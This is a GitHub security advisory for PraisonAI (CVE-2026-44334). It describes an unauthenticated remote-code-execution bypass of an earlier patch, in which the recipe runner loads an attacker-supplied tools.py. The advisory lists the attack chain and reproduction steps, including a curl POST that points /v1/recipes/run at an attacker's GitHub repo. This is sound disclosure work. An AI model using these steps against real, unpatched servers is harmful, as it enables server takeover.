GHSA-XCMW-GRXF-WJHJ
Vulnerability from github – Published: 2026-05-06 22:08 – Updated: 2026-05-12 13:33TL;DR
CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.
Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File | Line | Gate |
|---|---|---|
praisonai/tool_resolver.py |
77 | if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": |
praisonai/api/call.py |
80 | same |
But the equivalent sinks in praisonai/templates/tool_override.py were not patched:
# tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module
336 registry.update(tools)
337 except Exception:
338 pass
339
341 # 4. Template-local tools.py
342 if template_dir:
343 tools_py = Path(template_dir) / "tools.py"
344 if tools_py.exists():
345 try:
346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module
347 registry.update(tools)
348 except Exception:
349 pass
load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.
Attack chain
HTTP POST /v1/recipes/run
body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE
The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.
Confirmed execution (2026-04-25, praisonai 4.6.31)
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploit
The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.
Reproduction (local-path variant)
Files under pocs/praisonai-cve-2026-40287-bypass/:
- evil_recipe/TEMPLATE.yaml - minimal recipe metadata
- evil_recipe/tools.py - payload (writes a marker file in tempdir)
- server.py - starts
praisonai.recipe.serve.create_app({})on127.0.0.1:8765(defaultauth: none) - exploit.py - single POST to
/v1/recipes/run
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.py
Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
Reproduction (remote GitHub variant)
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.31"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.139"
},
{
"fixed": "4.6.32"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44334"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:08:58Z",
"nvd_published_at": "2026-05-08T14:16:46Z",
"severity": "HIGH"
},
"details": "## TL;DR\n\nCVE-2026-40287\u0027s fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.\n\n## Patch coverage gap\n\nCVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:\n\n| File | Line | Gate |\n|---|---|---|\n| `praisonai/tool_resolver.py` | 77 | `if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":` |\n| `praisonai/api/call.py` | 80 | same |\n\nBut the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:\n\n```python\n# tool_override.py - create_tool_registry_with_overrides()\n332 cwd_tools_py = Path.cwd() / \"tools.py\"\n333 if cwd_tools_py.exists():\n334 try:\n335 tools = loader.load_from_file(str(cwd_tools_py)) # \u003c-- exec_module\n336 registry.update(tools)\n337 except Exception:\n338 pass\n339\n341 # 4. Template-local tools.py\n342 if template_dir:\n343 tools_py = Path(template_dir) / \"tools.py\"\n344 if tools_py.exists():\n345 try:\n346 tools = loader.load_from_file(str(tools_py)) # \u003c-- exec_module\n347 registry.update(tools)\n348 except Exception:\n349 pass\n```\n\n`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.\n\n## Attack chain\n\n```\nHTTP POST /v1/recipes/run\n body: {\"recipe\": \"\u003cabs path\u003e\" | \"github:\u003cowner\u003e/\u003crepo\u003e/\u003crecipe\u003e\"}\n \u2502\n \u25bc\nrecipe/serve.py:483 run_recipe(request) \u2190 auth=none default\n \u2502\n \u25bc\nrecipe/core.py:215 recipe.run(name, ...)\n \u2502\n \u25bc\nrecipe/core.py:686 _load_recipe(name)\n \u2514\u2500 \"..\" check only; absolute paths and URIs allowed\n \u2502\n \u25bc\ntemplates/loader.py:94 TemplateLoader.load(uri)\n \u2502\n \u25bc\ntemplates/security.py:130 is_source_allowed(\"github:*\")\n \u2514\u2500 allow_any_github=True default \u2192 returns True\n \u2502\n \u25bc\ntemplates/registry.py fetch repo from raw.githubusercontent.com \u2192 cache dir\n \u2502\n \u25bc\ntemplates/security.py:215 validate_template_directory(cached.path)\n \u2514\u2500 .py is in allowed_extensions \u2192 tools.py kept\n \u2502\n \u25bc\nrecipe/core.py:887 _execute_recipe(recipe_config, ...)\n \u2502\n \u25bc\nrecipe/core.py:943 create_tool_registry_with_overrides(\n include_defaults=True,\n template_dir=recipe_config.path)\n \u2502\n \u25bc\ntemplates/tool_override.py:341-349 load_from_file(template_dir/tools.py)\n \u2502\n \u25bc\ntemplates/tool_override.py:94 spec.loader.exec_module(module) \u2190 RCE\n```\n\nThe tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.\n\n## Confirmed execution (2026-04-25, praisonai 4.6.31)\n\n```\nSERVER stdout (PID 43784):\n Uvicorn running on http://127.0.0.1:8765\n 127.0.0.1 - POST /v1/recipes/run HTTP/1.1\n [CVE-2026-40287-bypass] RCE fired. Marker written to: \u2026/praisonai_pwn_1777094071.txt\n 127.0.0.1 - \"POST /v1/recipes/run\" 500 Internal Server Error\n\nMarker file:\n pid: 43784 \u2190 matches server PID\n argv: [\u0027server.py\u0027] \u2190 server process, not exploit\n```\n\nThe 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.\n\n## Reproduction (local-path variant)\n\nFiles under `pocs/praisonai-cve-2026-40287-bypass/`:\n\n- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata\n- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)\n- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)\n- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`\n\n```bash\npip install \u0027praisonai[serve]==4.6.31\u0027\n\n# Terminal 1\npython server.py\n\n# Terminal 2\npython exploit.py\n```\n\nExpected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_\u003ctimestamp\u003e.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.\n\n## Reproduction (remote GitHub variant)\n\n```bash\n# Push evil_recipe/ to https://github.com/\u003cyou\u003e/poc-recipe (public repo)\n\ncurl -X POST http://target:8765/v1/recipes/run \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"recipe\":\"github:\u003cyou\u003e/poc-recipe/poc-recipe\"}\u0027\n```\n\nNo filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.",
"id": "GHSA-xcmw-grxf-wjhj",
"modified": "2026-05-12T13:33:21Z",
"published": "2026-05-06T22:08:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44334"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g985-wjh9-qxxc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.